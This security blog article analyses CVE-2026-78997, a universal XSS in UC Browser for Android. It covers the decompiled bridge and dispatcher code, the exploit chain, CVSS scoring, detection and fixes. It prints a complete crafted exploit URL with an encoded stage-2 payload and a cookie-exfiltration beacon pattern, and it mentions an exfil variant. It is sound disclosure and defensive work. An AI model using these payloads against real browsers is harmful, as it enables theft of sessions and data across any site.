The Callback That Outlived the Page: CVE-2026-78997 — Universal XSS in UC Browser for Android
On September 8, 2026, NIST’s National Vulnerability Database published CVE-2026-78997, a Universal Cross-Site Scripting (UXSS) vulnerability in UC Browser for Android (com.UCMobile.intl, version 13.7.8.1314) — a browser with more than a billion installs on Google Play. CISA’s enrichment scores it 9.3 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N). A UXSS is not an ordinary XSS: it executes attacker-controlled JavaScript in the origin of any site the victim visits, not just the site hosting the injection. It is, in effect, a Same-Origin Policy bypass manufactured out of the browser’s own plumbing.
The mechanism is a chain of three independent flaws, each unremarkable on its own. A reflected XSS on a vendor-owned domain unlocks the browser’s privileged JavaScript bridge. The bridge’s account.openLoginWindow API accepts arbitrary JavaScript strings as callbacks and stores them in native memory, where they survive page navigation. And the dispatcher that eventually runs those callbacks skips its URL check whenever the guard string is empty — which, for this API, it always is. The callback outlives the page that registered it, and when it finally fires, it fires on whatever site happens to be in the tab: the victim’s bank, their webmail, their corporate portal.
What makes it elegant is the trigger. The user doesn’t have to be tricked into pasting anything or tapping “OK” on a scary dialog. The browser itself throws up a native login window over the destination site — a completely routine event — and the act of dismissing that dialog is what executes the payload. One tap on an “X” button, and the attacker’s code is running inside google.com.
There is a disclosure story here too. The vulnerability was documented by independent researcher Omri Inbar (Novee) in a write-up published as a gist on July 9, 2026. The CVE was reserved through MITRE on August 25 and published September 8. As of this writing, no vendor advisory, no fixed version, and no acknowledgment from UCWeb appears in the CVE record — the affected-versions field literally reads n/a. The Play Store listing has since moved on to a 15.2.x version line, but whether the callback mechanism was redesigned between the tested 13.7.8.1314 build and the current one is not publicly documented. We’ll come back to what that means for users.
This article walks through how Android WebView JavaScript bridges work and why they are a privileged attack surface, the three flaws and how they chain, the exploit step by step, a reproducible proof of concept (published here), the impact model — including what a UXSS can and cannot reach — plus detection, remediation for both users and browser developers, and the disclosure timeline.
Vulnerability Classification
| Field | Value |
|---|---|
| CVE ID | CVE-2026-78997 |
| CVSS 3.1 (CISA-ADP, Secondary) | 9.3 — Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
| SSVC v2.0.3 (CISA, 2026-09-09) | Exploitation: PoC · Automatable: no · Technical Impact: total |
| EPSS | 0.28% probability, 20.1st percentile (2026-09-10) — public PoC, no observed exploitation yet |
| CWE | CWE-79 — Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) |
| Vendor / CNA | UCWeb (vendor) — no advisory published; CVE assigned via MITRE (CNA of Last Resort path) |
| Affected Product | UC Browser for Android — com.UCMobile.intl (international build) |
| Affected Version | 13.7.8.1314 (tested by researcher; “likely affects other versions sharing the same bridge” — researcher’s assessment; CVE record lists versions as n/a) |
| Fixed Version | None published in the CVE record as of 2026-09-11 |
| Vulnerable Components | (1) reflected XSS on mtmsg.uc.cn · (2) account.openLoginWindow bridge API storing raw JS callbacks · (3) empty-URL guard in the evaluateJavascript dispatcher |
| Attack Vector | Remote — victim taps one crafted link, then dismisses a native login dialog |
| Impact | Arbitrary JavaScript execution in the origin of any site (SOP bypass) → session hijacking, in-page credential/autofill theft, localStorage/DOM access, phishing on trusted domains |
| CVE Published | September 8, 2026 (NVD: 2026-09-08T17:18:31Z; record published 2026-09-08T00:00:00Z) |
| Researcher | Omri Inbar (Novee) — full technical write-up + PoC gists |
| Primary References | Researcher write-up (gist) · CVE text (gist) |
A note on the scoring source: UCWeb did not publish a CVSS score, so the 9.3 comes from CISA’s ADP enrichment of the MITRE record, not the vendor. The vector is worth reading closely — UI:R (one tap), S:C (the vulnerability breaks out of the browser’s own scripting rules into other origins), and C:H/I:H (full confidentiality and integrity impact against those other origins). We’ll verify the arithmetic in the CVSS section; spoiler: this one computes correctly.
Background: UC Browser and the WebView Bridge Problem
The browser
UC Browser is developed by UCWeb, acquired by Alibaba Group in 2014. The international Android build (com.UCMobile.intl) currently sits in the 1B+ downloads bracket on Google Play, with particular strength across India, Southeast Asia, China and other Asian and African markets — regions where third-party browsers frequently displace the platform default because of data-compression proxies, download managers and “lite” modes. It is not a niche app; it is one of the most deployed browsers on Earth.
Why browsers have JavaScript bridges at all
Android’s WebView widget (and every browser built on it) runs page JavaScript inside a sandboxed rendering engine. When a browser vendor wants a web page to trigger native functionality — open the account page, share to a native share sheet, read device metadata — the standard pattern is a JavaScript bridge: native code injects a global object into every page, and page scripts call methods on it. Android’s own mechanism, addJavascriptInterface(), has been a known hazard since 2012 (CVE-2012-6636 allowed reflection-based RCE through it), and Google’s own documentation now warns that exposing interfaces to untrusted content is dangerous and that all bridge input must be validated.
Because a bridge exposes privileged native functions to web content, every bridge needs an authorization model. The common one — and the one UC Browser uses — is a domain whitelist: pages loaded from vendor-owned origins are allowed to call sensitive methods; pages from elsewhere are not. UC Browser’s whitelist, per the researcher’s decompilation, lives in xc0/b.java and checks the calling page’s host against these suffixes:
.ucweb.com
.uc.cn
.uc-share.com
.alibaba-inc.com
feacdn.ucshare.app
The authorization check itself (j50/a.java) extracts the hostname from the calling page’s URL and matches it against that suffix list. Note the .alibaba-inc.com entry — the internal Alibaba corporate domain is trusted by every copy of the browser in a billion pockets, which tells you how far that trust radius extends.
The whitelist model has a structural weakness: it authorizes origins, not code. If any page on any whitelisted domain can be made to execute attacker-controlled script — through an XSS, an open redirect with HTML injection, a forgotten parameter — the attacker inherits the full privileges of the bridge. The whitelist converts “every XSS on a dozen vendor domains” into “privileged bridge access.” And vendor domains are large, old, and full of forgotten PHP endpoints.
That is precisely the door CVE-2026-78997 walks through.
The Three Flaws
CVE-2026-78997 is not one bug. It is three independent weaknesses in different layers — a web endpoint, a bridge API, and the dispatcher that finalizes JavaScript execution — that compose into a Same-Origin Policy bypass. Each one would likely be rated low-to-medium severity alone. Together they are a 9.3.
Flaw 1 — Reflected XSS on the whitelisted domain mtmsg.uc.cn
The UC affiliate-registration endpoint at http://mtmsg.uc.cn/ads_rlink.php reflects the email GET parameter into an HTML attribute without escaping <, > or ":
http://mtmsg.uc.cn/ads_rlink.php?email="><script>alert(1)</script>&action=add
The response contains the parameter verbatim inside an <input> tag:
<input name="email" type="text" class="inp1" value=""><script>alert(1)</script>"/>
The quote closes the value attribute, the > closes the tag, and everything after is live HTML — classic reflected XSS, the oldest trick on the web. What elevates it from nuisance to keystone is the hostname: mtmsg.uc.cn matches the .uc.cn whitelist suffix, so script running on this page passes the j50/a.java check and can call every privileged method on the ucapi bridge. A forgotten affiliate-marketing endpoint on a marketing subdomain is, functionally, a privileged API console for the entire browser.
We did not test the endpoint against the live host, and we won’t — but the researcher’s write-up documents the reflection with the rendered HTML above, and the injected <script> is what kicks off the documented PoC.
Flaw 2 — account.openLoginWindow stores raw JavaScript callbacks in native memory
The bridge exposes ucapi.invoke("account.openLoginWindow", {...}), used by UC’s own web properties to pop the browser’s native sign-in window. Per the researcher’s decompilation, the handler in k50/h.java accepts two string parameters and stores them verbatim in a native singleton (m50/a) alongside the calling tab’s windowID:
// k50/h.java — account.openLoginWindow handler (decompiled)
aVar.f70926n = i; // caller's windowID
aVar.f70927u = jSONObject.optString("loginCallback"); // raw JS string
aVar.v = jSONObject.optString("dismissCallback"); // raw JS string
Two problems live in those three lines:
- No sanitization, no origin binding. The callback is an arbitrary JavaScript string. Nothing ties it to the origin that registered it. It is stored as opaque text in native memory.
- It outlives the page. The singleton is native state. Navigating the tab away — or destroying the document that made the call — does not clear it. The browser will happily keep the string warm until some future event decides to run it.
Later, when the login window is dismissed (internal event 1115 — the AccountLoginWindow being destroyed) or a login completes (event 1114 with status codes 101/105/113), the stored callback is wrapped up as a javascript: URL and handed to the message dispatcher as message 1401:
// m50/a.java — c() — callback dispatcher (decompiled)
public static void c(int i, String str) {
if (TextUtils.isEmpty(str)) return;
StringBuilder sbY = defpackage.e.y("javascript:", str, ";");
HashMap map = new HashMap();
map.put("js", sbY.toString());
map.put("url", ""); // ← empty URL guard — this becomes Flaw 3
map.put("windowID", Integer.valueOf(i));
// ... sent as message 1401
}
Note the "url" field — the mechanism’s only notion of “where this callback is allowed to run” — is hardcoded to an empty string.
Flaw 3 — The empty-URL guard executes JavaScript unconditionally
Message 1401 lands in com.uc.browser.webwindow.i.u3(), which resolves the windowID to a live tab and executes the JavaScript in it:
// com/uc/browser/webwindow/i.java — u3() (decompiled)
public final void u3(int i, String str, String str2) {
if (pk0.b.f(str)) return; // null/whitespace check only
WebWindow webWindow = i == -1 ? O2() : b3(i); // resolve tab by windowID
if (webWindow == null) return;
of0.s sVar = webWindow.K; // the tab's WebView
if (sVar == null) return;
if (str.startsWith("javascript:")) str = str.substring(11);
if (TextUtils.isEmpty(str2)) {
sVar.evaluateJavascript(str, null); // ← runs on WHATEVER page is loaded
} else if (str2.equals(sVar.getUrl())) {
sVar.evaluateJavascript(str, null); // runs only if URL matches
}
}
Read the guard logic: if the URL field (str2) is empty, execute unconditionally; otherwise execute only if it equals the WebView’s current URL. The design clearly intends to bind script execution to an expected page — the second branch is a real, functioning origin check. But the account.openLoginWindow path always supplies "", and empty means “skip the check entirely” instead of “check nothing matches.”
evaluateJavascript() on a WebView evaluates the string in the context of the currently loaded page. Combine that with a callback that survived navigation, and the SOP is gone: code registered on mtmsg.uc.cn executes inside https://www.google.com, with document.domain === "www.google.com", full DOM access, and the ability to issue authenticated requests as the victim.
The Exploit Chain, Step by Step
Here is the full attack as documented, from link click to code execution:
- The victim taps a crafted link (chat message, forum post, QR code, ad). It points at
mtmsg.uc.cn/ads_rlink.phpwith the XSS payload URL-encoded in theemailparameter. To the eye, the URL looks like an ordinary UC/Alibaba marketing link on a legitimate vendor domain — because it is one, just with a stowaway. - The injected
<script>executes onmtmsg.uc.cn. The page’s origin matches the bridge whitelist, soucapi.invokeis fully privileged. - The payload calls
account.openLoginWindowwithloginCallbackanddismissCallbackboth set to the attacker’s JavaScript string. Native code stores the string and the tab’swindowID. - The payload navigates the tab (
window.location = "https://www.google.com"— any site works). The page that registered the callback is destroyed. The callback is not. - The native login dialog appears as an overlay on top of google.com — “Sign in with Google / Sign in with UC Account”. Nothing about this is suspicious; it is the browser’s own UI, appearing the way it always does.
- The victim dismisses the dialog — taps a sign-in option and presses X, or dismisses it any other way. This fires event 1115.
m50/a.c(windowID, dismissCallback)wraps the stored string asjavascript:<payload>;and sends message 1401 withurl: "".u3()resolves the windowID to the tab — which now shows google.com — finds the URL guard empty, and callsevaluateJavascript().- The attacker’s JavaScript executes in google.com’s origin.
document.domainreadswww.google.com. The payload can read the DOM and non-HttpOnly cookies, accesslocalStorage, act as the logged-in user via in-page fetches, or rewrite the page for phishing.
In ASCII form, the same chain:
Attacker page (mtmsg.uc.cn, via reflected XSS):
1. ucapi.invoke("account.openLoginWindow", {dismissCallback: "PAYLOAD"})
→ native stores: windowID=N, callback="PAYLOAD", url=""
2. window.location = "https://www.google.com"
→ tab N navigates; login dialog appears as native overlay
User dismisses login dialog:
3. event 1115 → m50/a.c(N, "PAYLOAD")
→ message 1401 { js:"javascript:PAYLOAD;", url:"", windowID:N }
4. u3(N, js, "") → guard empty → evaluateJavascript("PAYLOAD")
→ runs on www.google.com ← SOP bypassed
Attention! Steps 3–4 are the heart of the bug: the callback was registered by a page that no longer exists, and the only mechanism that could have stopped it — the URL guard — is disabled by the empty string. The vulnerability is not in any one component; it is in the handoff between components that nobody owns.
Proof of Concept
The complete PoC is published here:
Two honesty notes before the code. First, we did not fire this at the live mtmsg.uc.cn endpoint or at anyone’s device — the reflection and bridge behavior below are documented in the researcher’s public disclosure, and our PoC reproduces the mechanics rather than attacking third-party infrastructure. Second, the browser build in question is a proprietary APK; rather than redistribute anything, the repo contains the exact URL construction, a runnable miniature of the dispatch mechanism, and Frida hooks for observing the real app on hardware you own.
Part A — Building the crafted URL
The attack is one URL. The email parameter carries "> to break out of the value attribute, an injected <script> that base64-decodes and evals the stage-2 payload (keeping it URL-friendly), and the stage-2 itself: register the callback on the bridge, then navigate to the victim. poc_url_builder.py assembles it:
$ python3 poc_url_builder.py alert --victim https://www.google.com
====================================================================
CVE-2026-78997 - UC Browser for Android - Universal XSS
PoC URL builder (assembles a string; contacts no host)
====================================================================
preset : alert
victim site : https://www.google.com
--------------------------------------------------------------------
decoded stage-2 payload:
var cb = "alert(document.domain+String.fromCharCode(10)+document.cookie)";
ucapi.invoke("account.openLoginWindow", {loginCallback: cb, dismissCallback: cb, success: function(){}, fail: function(){}});
window.location = "https://www.google.com";
--------------------------------------------------------------------
crafted URL (open in UC Browser 13.7.8.1314, then dismiss
the native login dialog that appears over the victim site):
http://mtmsg.uc.cn/ads_rlink.php?email=%22%3E%3Cscript%3Eeval%28atob%28%22dmFyIGNiID0gImFsZXJ0KGRvY3VtZW50LmRvbWFpbitTdHJpbmcuZnJvbUNoYXJDb2RlKDEwKStkb2N1bWVudC5jb29raWUpIjt1Y2FwaS5pbnZva2UoImFjY291bnQub3BlbkxvZ2luV2luZG93Iiwge2xvZ2luQ2FsbGJhY2s6IGNiLCBkaXNtaXNzQ2FsbGJhY2s6IGNiLCBzdWNjZXNzOiBmdW5jdGlvbigpe30sIGZhaWw6IGZ1bmN0aW9uKCl7fX0pO3dpbmRvdy5sb2NhdGlvbiA9ICJodHRwczovL3d3dy5nb29nbGUuY29tIjs%3D%22%29%29%3C%2Fscript%3E&action=add
====================================================================
That base64 blob decodes to the same stage-2 the researcher published — register the callback as both loginCallback and dismissCallback so either outcome (successful login or dismissal) fires it, then navigate. On a vulnerable build, the sequence for the victim is: tap link → page loads on mtmsg.uc.cn → tab immediately navigates to google.com with a native login dialog over it → dismiss the dialog → alert showing www.google.com and its cookies for that origin. The repo also ships a silent variant (exfil preset) that beacons document.domain and document.cookie to a collector you control — we point it at localhost by default, because we’d rather you prove it to yourself on your own kit than take our word for it.
Part B — The mechanism oracle: watching the callback outlive the page
The interesting part of this bug is not the payload — it’s the state machine underneath it. callback_oracle.py is a ~100-line, dependency-free miniature of the three handoffs: the bridge stores the callback with an empty URL guard, navigation destroys the page but not the callback, and the dispatcher executes unconditionally when the guard is empty:
$ python3 callback_oracle.py
====================================================================
CVE-2026-78997 mechanism oracle - callback dispatcher
mode: VULNERABLE (empty url guard)
====================================================================
[tab] loads http://mtmsg.uc.cn/ads_rlink.php (whitelisted origin -> bridge allowed)
[bridge] stored callback for windowID=1 (url_guard='') - survives navigation
[tab] navigates to https://www.google.com/ (page destroyed; callback NOT cleared)
[dialog] user dismisses native login window -> event 1115
--------------------------------------------------------------------
[u3] url guard EMPTY -> executing unconditionally
[webview] executed in origin https://www.google.com :: alert('UXSS on '+document.domain);
====================================================================
The last line is the whole vulnerability in one line of output: a callback registered on mtmsg.uc.cn executing in the origin of google.com. Run the same oracle with --fixed and the guard — now bound to the registering page — blocks the dispatch instead:
$ python3 callback_oracle.py --fixed
[bridge] stored callback for windowID=1 (url_guard='http://mtmsg.uc.cn/ads_rlink.php') - bound to registering page
[tab] navigates to https://www.google.com/ (page destroyed; callback NOT cleared)
[dialog] user dismisses native login window -> event 1115
--------------------------------------------------------------------
[u3] url guard 'http://mtmsg.uc.cn/ads_rlink.php' != current 'https://www.google.com/' -> BLOCKED
Part C — Observing the real app with Frida
If you maintain UC Browser devices and want to see the dispatch inside the real browser, hook WebView.evaluateJavascript — every message-1401 delivery becomes a log line, and any script executing on a page whose origin differs from where it was registered is the bug:
$ frida -U -f com.UCMobile.intl -l frida_hooks.js --no-pause
[*] WebView.evaluateJavascript hooked
This is the same hook-and-observe approach we documented for intercepting Android TLS traffic with Frida — it generalizes to any bridge you need to audit.
Attention! Only run any of this against devices you own and accounts you control. The exfil preset exists to demonstrate impact to skeptics on a lab network, not to arm cookie theft.
Impact: What a UXSS Actually Gets You
The honest impact model for arbitrary JavaScript in an arbitrary origin:
- Everything non-HttpOnly.
document.cookieon the victim origin,localStorage/sessionStoragecontents (auth tokens for sites that store them there — and there are still many), full DOM reads (inbox contents, order history, profile data). - Acting as the user, invisibly. In-page
fetch()runs with the page’s cookies under mostSameSiteconfigurations because the requests originate from the victim origin itself. A silent request can read email, change recovery settings, or initiate transfers on sites that lack CSRF-hardened state changes. - Phishing inside trusted chrome. Rewriting the DOM of the real
bank.examplepage — with the real URL bar showing the real domain — defeats the one check most users are trained to perform. - Credential capture. Autofilled values in login forms are readable from script.
- Scope. Any origin the victim subsequently has open in the vulnerable tab is a target — the researcher demonstrates google.com, but the value to an attacker is banking, webmail, and internal portals.
What it does not trivially get: HttpOnly cookies are not readable via document.cookie (though they still ride along on attacker-initiated in-page requests), and OS-level secrets outside the WebView require a separate bridge-API flaw — the write-up notes the bridge also exposes device metadata, but that is adjacent to this CVE, not part of it.
The A:N in the CVSS vector is accurate: this is a confidentiality/integrity weapon, not a denial-of-service.
The CVSS Arithmetic: 9.3, and This One Adds Up
We’ve published score/vector mismatches before on this blog, so it’s only fair to report when a record’s arithmetic is clean. For scope-changed vulnerabilities, CVSS 3.1 computes Roundup(Minimum[1.08 × (Impact + Exploitability), 10]):
ISC = 1 − (1−0.56)(1−0.56)(1−0) = 0.8064 (C:H, I:H, A:N)
Impact = 7.52×(0.8064−0.029) − 3.25×(0.8064−0.02)^15 = 5.7576
Expl. = 8.22×0.85×0.77×0.85×0.62 = 2.8353 (AV:N, AC:L, PR:N, UI:R)
1.08 × (5.7576 + 2.8353) = 9.2803 → roundup → 9.3 ✓
The interesting number is UI:R — a 9.3 that requires user interaction. The scope-changed multiplier is doing the heavy lifting: the formula’s 1.08 uplift and the C:H/I:H subscores reflect that the bypassed authority is the Same-Origin Policy itself, so the impacted component is every site the victim visits, not just the browser. That’s also why the band is Critical despite the one-tap requirement: AV:N/AC:L/PR:N plus total technical impact (CISA SSVC: “total”) on arbitrary origins is about as bad as a logic bug gets.
EPSS sits at 0.28% (20th percentile) as of 2026-09-10 — low, as expected for a fresh CVE with no observed exploitation. CISA’s SSVC marks exploitation as “PoC” (public proof of concept exists), so treat the probability as understated: every ingredient of this attack is one curl away for anyone who reads the gists.
Detection
A UXSS leaves no crash logs and no obvious on-device trace — the payload is ordinary JavaScript executing in an ordinary page. Realistic detection lives at three layers:
- On-device (research/forensics). The Frida hook in Part C. During incident response,
adb logcataround the time of a suspected compromise may show the browser’s account/UI messages, but the dispatch itself is not reliably logged — the hook is the dependable instrument. - Network egress. The final stage of any real-world attack is exfiltration from the victim origin. Beacon patterns like
new Image().src = "https://<odd host>/?d=<domain>&c=<base64>"— small GETs to freshly-registered domains carrying encoded cookie-shaped blobs — are the generic signature of cookie theft, and this CVE is one more producer of them. - Edge filtering. For organizations that can inspect traffic: the reflection endpoint is
http://mtmsg.uc.cn/ads_rlink.php, and a plain-HTTP GET whoseemailparameter URL-decodes to something containing<scriptis about as high-signal as HTTP filters get. Blocking or flagging that pattern neutralizes this specific chain without touching legitimate UC traffic. (Yes, the endpoint is still plain HTTP — in 2026.)
For fleet managers: adb shell pm list packages | grep UCMobile finds the international build; the version is visible in app settings or via dumpsys package com.UCMobile.intl | grep versionName.
Remediation
For users
This is the uncomfortable part: there is no published fix to install. The CVE record names 13.7.8.1314 as affected and lists no patched version; no vendor advisory exists as of this writing. Pragmatic guidance, in order:
- Switch browsers until the vendor publishes a fix. Chrome, Firefox, Brave, and Samsung Internet do not ship this bridge design. For a vulnerability whose entire delivery is “open a link,” that is the only complete mitigation.
- If switching isn’t an option, update to the newest available build (the listing now ships a 15.2.x line) — but understand that the status of the callback mechanism in newer builds is undocumented, and the researcher’s assessment is that versions sharing the same bridge are likely affected. Treat the update as hopeful, not verified.
- High-value accounts first. If you must use the browser, don’t use it for banking, webmail, or corporate SSO portals. The attack targets whatever is in the tab.
For browser and WebView-app developers — killing the class
This vulnerability is a checklist for anyone building a JS bridge:
- Bind callbacks to the registering origin — enforce it at dispatch. The
u3()code already contains the correct check (url.equals(webView.getUrl())); the empty string simply opted out of it. An empty guard must mean reject, never allow. Fail closed. - Don’t store raw JavaScript. Store a callback ID or a native token, resolve it at dispatch time against the origin that registered it, and invoke through a mechanism that cannot cross origins. A string of source code stored in native memory is a loaded footgun that survives every page lifecycle event.
- Clear bridge state on navigation. Callbacks, pending invocations, and permissions registered by a document must die with the document. Anything else is a cross-navigation persistence primitive you handed to the web.
- Treat every whitelisted domain as privileged code surface. The bridge trust radius included marketing subdomains and an internal corporate domain (
.alibaba-inc.com). Every endpoint on every whitelisted origin needs XSS review, output encoding, and CSP — an XSS on the least-loved affiliate page is a bridge credential. Shrink the whitelist; drop the internal domains; put CSP on everything that remains. - Encoding at the sink. The
ads_rlink.phpreflection is CWE-79 in its purest form: a GET parameter echoed into an HTML attribute without escaping<,>,". Context-aware output encoding at the point of interpolation is a solved problem in every mainstream web stack; a domain authorization scheme is not a substitute for it.
The OWASP XSS Prevention Cheat Sheet covers point 5 in depth; Android’s own documentation has warned about addJavascriptInterface exposure since 2012 (CVE-2012-6636) — the lesson keeps needing relearning because each generation rebuilds the bridge and re-imports the whitelist idea without the accompanying obligation to keep every trusted page clean.
Disclosure Timeline
| Date | Event |
|---|---|
| (undated) | Flaw present in shipped UC Browser builds (n/a in record — first affected version unknown) |
| 2026-07-09 | Researcher Omri Inbar (Novee) publishes full technical write-up + PoC video as a public gist |
| 2026-08-25 | CVE-2026-78997 reserved (MITRE) |
| 2026-09-02 | Researcher publishes CVE summary gist |
| 2026-09-08 | CVE published by MITRE CNA; NVD adds record (CWE-79); CISA-ADP scores 9.3 Critical |
| 2026-09-09 | CISA SSVC v2.0.3 assessment: Exploitation PoC, Automatable no, Technical Impact total |
| 2026-09-10 | EPSS registers at 0.28% / 20.1st percentile |
| 2026-09-11 | No vendor advisory, no fixed version published in the record as of this writing |
Note what the timeline does not contain: any vendor action. The CVE was necessarily issued through MITRE (the CNA of last resort for unresponsive vendors), and the record’s affected-version data is the bare n/a — both classic markers of a disclosure process that never got traction with the vendor. For a browser in the billion-install bracket, two months from public write-up to CVE with no advisory in between is a long window for defenders to sit in.
SOURCES
NIST National Vulnerability Database — CVE-2026-78997: https://nvd.nist.gov/vuln/detail/CVE-2026-78997
CVE Program — CVE-2026-78997 record (CNA: MITRE, CISA-ADP enrichment incl. SSVC): https://www.cve.org/CVERecord?id=CVE-2026-78997
CVE Program cvelistV5 — CVE-2026-78997.json (reserved 2026-08-25, published 2026-09-08): https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/78xxx/CVE-2026-78997.json
Omri Inbar (Novee) — UC Browser v13.7.8.1314 Universal Cross-Site Scripting (technical write-up, decompiled code, PoC): https://gist.github.com/OmriInbar-Novee/9fd65fe08c1b1cff6a19350e44425de2
Omri Inbar (Novee) — CVE-2026-78997 summary gist: https://gist.github.com/OmriInbar-Novee/ef7a92db148b2eb1ab0aa7b99a565c4c
FIRST.org — EPSS API (CVE-2026-78997: 0.28% / 20.1st percentile, 2026-09-10): https://api.first.org/data/v1/epss?cve=CVE-2026-78997
FIRST.org — CVSS v3.1 Specification (scope-changed base formula): https://www.first.org/cvss/v3.1/specification-document
MITRE CWE-79 — Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’): https://cwe.mitre.org/data/definitions/79.html
Android Developers — WebView.evaluateJavascript API reference: https://developer.android.com/reference/android/webkit/WebView#evaluateJavascript(java.lang.String,%20android.webkit.ValueCallback%3Cjava.lang.String%3E)
Android Developers — addJavascriptInterface security guidance: https://developer.android.com/reference/android/webkit/WebView#addJavascriptInterface(java.lang.Object,%20java.lang.String)
OWASP — XSS Prevention Cheat Sheet (output encoding at sinks): https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
NVD — CVE-2012-6636 (addJavascriptInterface RCE, historical bridge precedent): https://nvd.nist.gov/vuln/detail/CVE-2012-6636
Google Play — UC Browser listing, com.UCMobile.intl (1B+ downloads): https://play.google.com/store/apps/details?id=com.UCMobile.intl
Previous Hunt-Benito article — Two Dots and a Slash: path traversal in TECNO’s Hi Browser (Android browser attack surface): https://www.hunt-benito.com/blog/two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal/
Previous Hunt-Benito article — Bypassing Android SSL Certificate Pinning with Frida (hook-and-observe methodology): https://www.hunt-benito.com/blog/bypassing-android-ssl-certificate-pinning-with-frida/